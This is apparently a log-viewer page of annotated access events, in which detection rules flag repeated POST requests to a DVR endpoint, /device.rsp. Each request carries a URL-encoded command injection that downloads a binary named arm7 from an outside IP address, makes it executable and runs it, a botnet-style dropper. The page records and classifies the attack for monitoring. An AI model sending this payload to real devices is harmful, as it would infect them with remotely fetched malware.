cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#28 2025-06-19 22:27:43 event 7914708 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#29 2025-06-19 22:27:43 event 7914709 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#30 2025-06-19 22:27:43 event 7914708 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#31 2025-06-19 22:00:04 event 7913041 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#32 2025-06-19 22:00:04 event 7913041 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#33 2025-06-19 22:00:04 event 7913041 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#34 2025-06-19 22:00:04 event 7913041 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#35 2025-06-19 22:00:04 event 7913041 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#36 2025-06-19 21:36:34 event 7911482 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#37 2025-06-19 21:36:34 event 7911482 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#38 2025-06-19 21:36:34 event 7911482 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#39 2025-06-19 21:36:34 event 7911482 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#40 2025-06-19 21:36:34 event 7911482 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#41 2025-06-19 21:18:11 event 7830432 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#42 2025-06-19 21:18:11 event 7830432 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#43 2025-06-19 21:18:11 event 7830432 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#44 2025-06-19 21:18:11 event 7830432 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#45 2025-06-19 21:18:11 event 7830432 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#46 2025-06-19 20:55:27 event 7829045 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%'

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#47 2025-06-19 20:55:27 event 7829045 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#48 2025-06-19 20:55:27 event 7829045 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#49 2025-06-19 20:55:27 event 7829045 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

#50 2025-06-19 20:55:27 event 7829045 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F104.167.221.114%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbkdvr

referer

Mozila/5.0

summary

event observed

details

—

subnet

104.167.221.0/24

asn

—

geo

United States, Missouri, North Kansas City

org

Ipxo LLC

Log Explorer

Annotated access events

Confirm Action